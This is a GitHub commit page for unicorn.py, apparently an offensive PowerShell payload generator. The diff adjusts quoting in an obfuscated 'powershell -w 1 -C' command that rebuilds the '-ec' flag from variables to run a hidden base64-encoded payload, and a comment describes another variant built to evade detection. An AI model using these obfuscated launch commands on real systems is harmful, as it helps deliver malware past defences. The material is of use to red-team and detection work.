Skip to content

Commit

Permalink
Fix quoting to launch attack from CMD and Powershell
Browse files Browse the repository at this point in the history
In it's current version, the attack payload only works if it is executed from a CMD shell, but refuses to work from a Powershell shell. The proposed changes should fix that.
  • Loading branch information
hannestrunde committed Jan 27, 2017
1 parent da890f0 commit 8fc0a81
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions unicorn.py
Original file line number Diff line number Diff line change
Expand Up @@ -396,8 +396,8 @@ def format_payload(powershell_code, attack_type, attack_modifier, option):

# powershell -w 1 -C "powershell ([char]45+[char]101+[char]99) YwBhAGwAYwA=" <-- Another nasty one that should evade. If you are reading the source, feel free to use and tweak
#"sv x -;sv y ec;sv Z ((gv x).value.toString()+(gv y).value.toString());powershell (gv Z).value.toString()"
full_attack = 'powershell -w 1 -C "sv %s -;sv %s ec;sv %s ((gv %s).value.toString()+(gv %s).value.toString());powershell (gv %s).value.toString() "' % (ran1, ran2, ran3, ran1, ran2, ran3) + \
base64.b64encode(powershell_code.encode('utf_16_le')) + '"'
full_attack = 'powershell -w 1 -C "sv %s -;sv %s ec;sv %s ((gv %s).value.toString()+(gv %s).value.toString());powershell (gv %s).value.toString() \'' % (ran1, ran2, ran3, ran1, ran2, ran3) + \
base64.b64encode(powershell_code.encode('utf_16_le')) + '\'"'

if attack_type == "msf":
if attack_modifier == "macro":
Expand Down

0 comments on commit 8fc0a81

Please sign in to comment.